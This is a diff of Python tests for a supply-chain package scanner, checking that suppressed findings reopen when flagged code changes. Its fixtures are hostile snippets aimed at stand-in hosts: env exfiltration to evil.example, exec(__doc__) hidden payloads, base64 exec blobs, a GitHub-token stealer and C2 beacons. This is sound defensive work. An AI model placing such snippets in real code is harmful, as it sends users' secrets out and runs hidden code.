sp.RE_REVERSE_SHELL)+ assert "sha256:" in ea # full interior bound by a digest+ assert sp._evidence_hash(ea) != sp._evidence_hash(ei) # interior change reopens+ shifted = sp._extract_evidence("\n\n" + base, sp.RE_REVERSE_SHELL)+ assert sp._evidence_hash(ea) == sp._evidence_hash(shifted) # pure shift stable+++def test_extract_evidence_giant_span_appended_payload_reopens():+ # The anchor binding must reopen when an appended cross-line payload extends the+ # bridged span past the cap: an existing one-line /tmp+subprocess finding plus a+ # NEW /tmp/evil line and a later subprocess.run (60+ lines apart, sharing no+ # single line so the per-line pass never binds them) moves the span's tail+ # anchor, so the evidence changes instead of riding the unchanged key.+ existing = "import os\n/tmp/x; subprocess.run(['id'])\n"+ gap = "\n".join(f" pad{i} = {i}" for i in range(65))+ appended = existing + "/tmp/evil\n" + gap + "\nsubprocess.run(['curl', 'evil'])\n"+ base = sp._extract_evidence(existing, sp.RE_TEMP_EXEC)+ app = sp._extract_evidence(appended, sp.RE_TEMP_EXEC)+ assert sp._evidence_hash(base) != sp._evidence_hash(app)+ # a pure line shift of the same payload does not reopen+ shifted = sp._extract_evidence("\n\n" + appended, sp.RE_TEMP_EXEC)+ assert sp._evidence_hash(app) == sp._evidence_hash(shifted)+++def test_hidden_payload_binds_visible_exec_trigger():+ # The hidden-payload finding binds the visible exec/eval line that makes the+ # docstring runnable, so flipping a harmless eval("1+1") to exec(__doc__) (which+ # now runs the same hidden network+exec payload) reopens instead of riding the+ # key on the unchanged hidden text.+ hidden = '"""\nimport requests; requests.get("http://evil")\nsubprocess.run(["sh"])\n"""\n'+ benign = hidden + 'eval("1+1")\n'+ armed = hidden + "exec(__doc__)\n"++ def key(src):+ return [+ sp._finding_key(f)+ for f in sp._hidden_payload_findings(src, sp._strip_noncode(src), "p/x.py", "p")+ if "hidden network+exec" in f.check+ ][0]++ assert key(benign) != key(armed)+++def test_js_finding_pins_full_content_digest():+ # A JS finding pins the full file content digest, so a backtick template literal+ # that closes the bracket span early cannot let later option/body lines change+ # without reopening (the Python-string-aware extractor would otherwise omit+ # them). Holds for small files too, not just large bundles.+ old = "window.ethereum.request(`tpl with ) paren`,\n {method: 'eth', body: 'OLD'})\n"+ new = "window.ethereum.request(`tpl with ) paren`,\n {method: 'eth', body: 'EVIL'})\n"+ fo = [f for f in sp.check_js_file(old, "p/w.js", "p") if "Web3" in f.check][0]+ fn = [f for f in sp.check_js_file(new, "p/w.js", "p") if "Web3" in f.check][0]+ assert "bundle-sha256:" in fo.evidence+ assert sp._finding_key(fo) != sp._finding_key(fn)+++def test_extract_evidence_binds_moderate_appended_dotall_span():+ # A multi-line construct appended under a check that already has a one-line+ # match is still recorded when it is not a giant whole-file bridge, so its+ # payload reopens instead of riding the old one-line match.+ one = "while True: time.sleep(60); requests.get('http://a/poll')\n"+ gap = "\n".join(f" x = {i}" for i in range(20))+ old = one + "while True:\n" + gap + "\n requests.get('http://old/c2')\n"+ new = one + "while True:\n" + gap + "\n requests.get('http://evil/c2')\n"+ eo = sp._extract_evidence(old, sp.RE_C2_POLLING)+ en = sp._extract_evidence(new, sp.RE_C2_POLLING)+ assert sp._evidence_hash(eo) != sp._evidence_hash(en)+++def test_canon_evidence_reorder_reopens():+ # Reordering matched lines changes executable context, so the key reopens+ # (the canon preserves discovery order rather than sorting).+ a = "Net: L10: requests.post(url)\nEnv: L20: env = os.environ.copy()"+ b = "Env: L20: env = os.environ.copy()\nNet: L10: requests.post(url)"+ assert sp._evidence_hash(a) != sp._evidence_hash(b)+++def test_logical_line_end_ignores_brackets_in_strings():+ # A ) inside a string argument must not close the call early, so later+ # argument lines still bind and a changed payload there reopens.+ old = "requests.post('http://h/p)',\n data=secret_old,\n)\n"+ new = "requests.post('http://h/p)',\n data=secret_new,\n)\n"+ eo = sp._extract_evidence(old, sp.RE_NETWORK)+ en = sp._extract_evidence(new, sp.RE_NETWORK)+ assert "data=secret_old" in eo+ assert sp._evidence_hash(eo) != sp._evidence_hash(en)+++def test_base64_exec_blob_finding_binds_every_blob():+ # The base64+exec+blob finding digests every blob, so appending a second+ # encoded payload reopens even when the first blob and decode line are unchanged.+ head = "import base64\nblob1 = '" + "A" * 220 + "'\nexec(base64.b64decode(blob1))\n"+ old = head+ new = head + "blob2 = '" + "B" * 220 + "'\n"+ fo = [f for f in sp.check_py_file(old, "p/x.py", "p") if "large encoded blob" in f.check]+ fn = [f for f in sp.check_py_file(new, "p/x.py", "p") if "large encoded blob" in f.check]+ assert fo and fn+ assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])+++def test_pth_large_blob_finding_binds_every_blob():+ # The .pth large-blob finding digests every blob, so appending a second+ # encoded payload reopens rather than riding the unchanged first blob.+ old = "import os\n" + "X" * 220 + "\n"+ new = old + "Y" * 220 + "\n"+ fo = [f for f in sp.check_pth_file(old, "p/x.pth", "p") if "large base64-like blob" in f.check]+ fn = [f for f in sp.check_pth_file(new, "p/x.pth", "p") if "large base64-like blob" in f.check]+ assert fo and fn+ assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])+++def test_pth_unusually_large_finding_is_content_bound():+ # Two different payloads of equal size and import count must get different+ # keys: the finding now pins the .pth content via a digest.+ a = [+ f+ for f in sp.check_pth_file("import abc; n=" + repr("!" * 500), "p/x.pth", "p")+ if f.check.startswith("Unusually large executable .pth")+ ]+ b = [+ f+ for f in sp.check_pth_file("import xyz; n=" + repr("?" * 500), "p/x.pth", "p")+ if f.check.startswith("Unusually large executable .pth")+ ]+ assert a and b+ assert "sha256:" in a[0].evidence+ assert sp._finding_key(a[0]) != sp._finding_key(b[0])+++def test_js_token_network_finding_binds_network_evidence():+ # The JS stealer combo records both the token AND the network call, so a+ # changed exfil endpoint reopens (RE_NETWORK-recognized call used here).+ old = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://old.example');\n"+ new = "const t='ghp_AAAAAAAAAAAAAAAAAAAAAAAA';\nrequests.get('http://evil.example');\n"+ fo = [f for f in sp.check_js_file(old, "p/p.js", "p") if "stealer" in f.check]+ fn = [f for f in sp.check_js_file(new, "p/p.js", "p") if "stealer" in f.check]+ assert fo and fn+ assert "Network:" in fo[0].evidence+ assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])+++def test_embedded_pem_key_body_change_reopens():+ # The embedded-key evidence pins the full PEM block via a digest, so swapping+ # the key body under the same BEGIN/END markers reopens the finding instead+ # of riding the unchanged marker line.+ head = "-----BEGIN RSA PRIVATE KEY-----\n"+ tail = "\n-----END RSA PRIVATE KEY-----"+ net = "\nrequests.get('http://c2.example')\n"+ old = f"k = '''{head}MIIoldAAAAAAAAAAAAAAAAAAAA{tail}'''{net}"+ new = f"k = '''{head}MIInewBBBBBBBBBBBBBBBBBBBB{tail}'''{net}"+ fo = [+ f+ for f in sp.check_py_file(old, "p/k.py", "p")+ if f.check.startswith("Embedded cryptographic key + network")+ ]+ fn = [+ f+ for f in sp.check_py_file(new, "p/k.py", "p")+ if f.check.startswith("Embedded cryptographic key + network")+ ]+ assert fo and fn+ assert "sha256:" in fo[0].evidence+ assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])+++def test_shell_combos_bind_network_evidence():+ # Both shell combos record their network/exec side, so a changed endpoint+ # reopens instead of riding the unchanged token or hook line.+ old = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://old.example')\n"+ new = "token='ghp_AAAAAAAAAAAAAAAAAAAAAAAA'\nrequests.get('http://evil.example')\n"+ to = [+ f+ for f in sp.check_shell_file(old, "p/i.sh", "p")+ if f.check == "Shell embeds credential regexes AND makes network calls"+ ]+ tn = [+ f+ for f in sp.check_shell_file(new, "p/i.sh", "p")+ if f.check == "Shell embeds credential regexes AND makes network calls"+ ]+ assert to and tn+ assert sp._finding_key(to[0]) != sp._finding_key(tn[0])+ ho = "SessionStart hook installed\nrequests.get('http://old.example')\n"+ hn = "SessionStart hook installed\nrequests.get('http://evil.example')\n"+ go = [+ f+ for f in sp.check_shell_file(ho, "p/i.sh", "p")+ if f.check.startswith("Shell installs developer-tool")+ ]+ gn = [+ f+ for f in sp.check_shell_file(hn, "p/i.sh", "p")+ if f.check.startswith("Shell installs developer-tool")+ ]+ assert go and gn+ assert "Hook:" in go[0].evidence+ assert sp._finding_key(go[0]) != sp._finding_key(gn[0])+++def test_hidden_network_exec_reopens_on_endpoint_change():+ # The hidden network+exec payload binds both the network and the exec signal,+ # so changing the docstring exfil URL reopens the finding.+ old = (+ '"""\nimport urllib.request, os\nurllib.request.urlopen("http://old/x").read()\n'+ 'os.system("sh -c id")\n"""\nexec(__doc__)\n'+ )+ new = (+ '"""\nimport urllib.request, os\nurllib.request.urlopen("http://evil/x").read()\n'+ 'os.system("sh -c id")\n"""\nexec(__doc__)\n'+ )+ fo = [f for f in sp.check_py_file(old, "p/d.py", "p") if "hidden network+exec" in f.check]+ fn = [f for f in sp.check_py_file(new, "p/d.py", "p") if "hidden network+exec" in f.check]+ assert fo and fn+ assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])+++def test_base64_exec_blob_combo_binds_blob_digest():+ # The blob may sit on a separate line from the decode call; the finding now+ # digests it, so a changed payload reopens even with unchanged base64/exec.+ b1 = "BLOB = '" + "A" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n"+ b2 = "BLOB = '" + "B" * 300 + "'\nimport base64\nexec(base64.b64decode(BLOB))\n"+ f1 = [f for f in sp.check_py_file(b1, "p/m.py", "p") if "large encoded blob" in f.check]+ f2 = [f for f in sp.check_py_file(b2, "p/m.py", "p") if "large encoded blob" in f.check]+ assert f1 and f2+ assert "Blob: sha256:" in f1[0].evidence+ assert sp._finding_key(f1[0]) != sp._finding_key(f2[0])+++def test_openssl_key_combo_binds_key_evidence():+ # openssl + embedded key with no network must bind the key, so a changed key+ # reopens instead of riding the OpenSSL line alone.+ o1 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----A"\n'+ o2 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----B"\n'+ g1 = [f for f in sp.check_py_file(o1, "p/o.py", "p") if "openssl encryption" in f.check]+ g2 = [f for f in sp.check_py_file(o2, "p/o.py", "p") if "openssl encryption" in f.check]+ assert g1 and g2+ assert "Key:" in g1[0].evidence+ assert sp._finding_key(g1[0]) != sp._finding_key(g2[0])+++def test_anti_analysis_combo_binds_suspicious_side():+ # The anti-analysis combo records the network/exec side, so a changed exfil+ # endpoint reopens instead of riding the unchanged sleep/trace line.+ old = "import time, requests\ntime.sleep(600)\nrequests.get('http://old.example')\n"+ new = "import time, requests\ntime.sleep(600)\nrequests.get('http://evil.example/exfil')\n"+ fo = [+ f+ for f in sp.check_py_file(old, "p/x.py", "p")+ if f.check == "Anti-analysis/sandbox evasion + suspicious behavior"+ ]+ fn = [+ f+ for f in sp.check_py_file(new, "p/x.py", "p")+ if f.check == "Anti-analysis/sandbox evasion + suspicious behavior"+ ]+ assert fo and fn+ assert "Network:" in fo[0].evidence+ assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])+++def test_dns_exfil_combo_binds_other_side():+ # The DNS exfil combo records the co-occurring network side, so a changed+ # endpoint reopens instead of riding the unchanged DNS line.+ old = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://old.example')\n"+ new = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://evil.example/x')\n"+ fo = [+ f+ for f in sp.check_py_file(old, "p/d.py", "p")+ if f.check == "DNS exfiltration / tunneling patterns"+ ]+ fn = [+ f+ for f in sp.check_py_file(new, "p/d.py", "p")+ if f.check == "DNS exfiltration / tunneling patterns"+ ]+ assert fo and fn+ assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])+++def test_large_js_bundle_finding_is_content_bound():+ # A large benign JS bundle yields a HIGH carrying a content digest, not empty+ # evidence: two different bundles in the same size bucket get different keys,+ # so a malicious bundle cannot ride a baselined empty-evidence entry.+ big_a = "var x = 1;\n" * 20000 # ~200 KB, benign+ big_b = big_a + "var exfil = 2;\n" # different content, same size bucket+ ja = [f for f in sp.check_js_file(big_a, "pkg/bundle.js", "pkg") if "JS bundle" in f.check]+ jb = [f for f in sp.check_js_file(big_b, "pkg/bundle.js", "pkg") if "JS bundle" in f.check]+ assert ja and jb, "large JS bundle must produce a finding"+ assert ja[0].evidence.startswith("sha256:")+ assert sp._finding_key(ja[0]) != sp._finding_key(jb[0])+++def test_pth_large_blob_finding_is_content_bound():+ # The .pth base64-blob evidence pins the full blob via a digest, so a payload+ # that keeps the first 120 chars but changes the tail reopens the finding.+ head = "A" * 120+ a = [+ f+ for f in sp.check_pth_file("import os\n" + head + "B" * 200, "p/x.pth", "p")+ if "base64-like blob" in f.check+ ]+ b = [+ f+ for f in sp.check_pth_file("import os\n" + head + "C" * 200, "p/x.pth", "p")+ if "base64-like blob" in f.check+ ]+ assert a and b, "large .pth blob must produce a finding"+ assert "sha256:" in a[0].evidence+ assert sp._finding_key(a[0]) != sp._finding_key(b[0])+++def test_pth_import_lines_record_all_not_first_five():+ # All executable import lines are recorded, so swapping the sixth import for a+ # malicious one (first five unchanged) still reopens the catch-all finding.+ base = "".join(f"import mod{i}\n" for i in range(6))+ swapped = "".join(f"import mod{i}\n" for i in range(5)) + "import evil\n"+ fb = [f for f in sp.check_pth_file(base, "p/x.pth", "p") if "executable import line" in f.check]+ fs = [+ f for f in sp.check_pth_file(swapped, "p/x.pth", "p") if "executable import line" in f.check+ ]+ assert fb and fs+ assert sp._finding_key(fb[0]) != sp._finding_key(fs[0])+++def test_load_baseline_warns_on_missing_evidence_hash(tmp_path, capsys):+ # A legacy baseline predating evidence_hash still loads (hash recomputed) but+ # must WARN so the maintainer regenerates rather than degrade silently.+ import json++ bl = tmp_path / "legacy.json"+ bl.write_text(+ json.dumps(+ {+ "version": 1,+ "entries": [+ {+ "package": "p",+ "file": "p/x.py",+ "check": "c",+ "severity": sp.CRITICAL,+ "evidence": "L5: while True:",+ }+ ],+ }+ )+ )+ keys = sp._load_baseline(str(bl))+ assert keys # still loaded+ assert "lack evidence_hash" in capsys.readouterr().err++def test_fstring_statement_is_not_blanked():# A bare f-string evaluates at import, so it must stay scannable.src = "f\"{__import__('os').system('id')}\"\n"@@ -417,11 +1178,17 @@ def test_comment_only_network_exec_not_flagged():def test_baseline_suppresses_listed_but_not_new_check(tmp_path):bl = tmp_path / "bl.json"- listed = _mk(sp.CRITICAL, "fastapi", "fastapi/routing.py", "C2 polling/beaconing loop detected")+ listed = _mk(+ sp.CRITICAL,+ "fastapi",+ "fastapi/routing.py",+ "C2 polling/beaconing loop detected",+ "L579: while True:",+ )sp._write_baseline(str(bl), [listed])baseline = sp._load_baseline(str(bl))- # Same (package, basename, check) -> suppressed.+ # Same (package, path, check, matched code) -> suppressed.active, suppressed = sp._partition_baseline([listed], baseline)assert suppressed == [listed] and active == []@@ -432,6 +1199,29 @@ def test_baseline_suppresses_listed_but_not_new_check(tmp_path):active2, suppressed2 = sp._partition_baseline([new_kind], baseline)assert active2 == [new_kind] and suppressed2 == []+ # Same file + same check but CHANGED flagged code -> still active. A future+ # malicious payload cannot ride a previously reviewed entry's suppression.+ changed_code = _mk(+ sp.CRITICAL,+ "fastapi",+ "fastapi/routing.py",+ "C2 polling/beaconing loop detected",+ "L579: while True: requests.get('http://c2.example/beacon')",+ )+ active3, suppressed3 = sp._partition_baseline([changed_code], baseline)+ assert active3 == [changed_code] and suppressed3 == []++ # A benign line shift of the SAME code stays suppressed (no version churn).+ shifted = _mk(+ sp.CRITICAL,+ "fastapi",+ "fastapi/routing.py",+ "C2 polling/beaconing loop detected",+ "L640: while True:",+ )+ active4, suppressed4 = sp._partition_baseline([shifted], baseline)+ assert suppressed4 == [shifted] and active4 == []+def test_write_baseline_roundtrip_only_crit_high(tmp_path):bl = tmp_path / "bl.json"@@ -451,6 +1241,72 @@ def test_load_baseline_missing_file_is_empty():assert sp._load_baseline("/nonexistent/path/bl.json") == set()+def test_load_baseline_rejects_non_list_entries(tmp_path, capsys):+ # A malformed baseline whose "entries" is not a list must warn and fail+ # closed (empty), not raise TypeError when iterated.+ import json++ bl = tmp_path / "bad_entries.json"+ bl.write_text(json.dumps({"version": 1, "entries": None}), encoding = "utf-8")+ assert sp._load_baseline(str(bl)) == set()+ assert "entries is not a list" in capsys.readouterr().err+++def test_committed_baseline_suppresses_known_but_not_a_new_payload():+ """End-to-end against the shipped allowlist: a reviewed benign finding stays+ suppressed, but a NEW malicious payload in the same baselined file/check is+ not (closes the supply-chain bypass where a future botocore/utils.py payload+ rode the existing CRITICAL entry)."""+ import json++ baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json"+ entries = json.loads(baseline_path.read_text())["entries"]+ target = next(+ e+ for e in entries+ if e["package"] == "botocore"+ and e["file"] == "botocore/utils.py"+ and e["check"] == "Harvests environment variables/secrets AND makes network calls"+ )+ baseline = sp._load_baseline(str(baseline_path))++ # The exact reviewed finding is suppressed.+ benign = _mk(+ target["severity"], target["package"], target["file"], target["check"], target["evidence"]+ )+ active, suppressed = sp._partition_baseline([benign], baseline)+ assert suppressed == [benign] and active == []++ # A future malicious version: same file, same check, new exfil code. Must+ # remain ACTIVE so the enforcing gate (exit 1) still trips.+ malicious = _mk(+ target["severity"],+ target["package"],+ target["file"],+ target["check"],+ "Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)",+ )+ active2, suppressed2 = sp._partition_baseline([malicious], baseline)+ assert active2 == [malicious] and suppressed2 == []+++def test_committed_baseline_entries_all_carry_evidence_hash():+ """Every shipped entry must pin an evidence_hash; an entry without one would+ silently fall back to the coarse legacy match for that file/check."""+ import json++ baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json"+ entries = json.loads(baseline_path.read_text())["entries"]+ assert entries, "committed baseline should not be empty"+ missing = [+ f"{e['package']}:{e['file']}:{e['check']}" for e in entries if not e.get("evidence_hash")+ ]+ assert not missing, f"entries missing evidence_hash: {missing[:5]}"+ # And each pinned hash matches a recompute from the stored evidence.+ for e in entries:+ assert e["evidence_hash"] == sp._evidence_hash(e["evidence"]), e["file"]++# sdist fallback: cover sdist-only packages without building. All offline# -- PyPI JSON / download are mocked.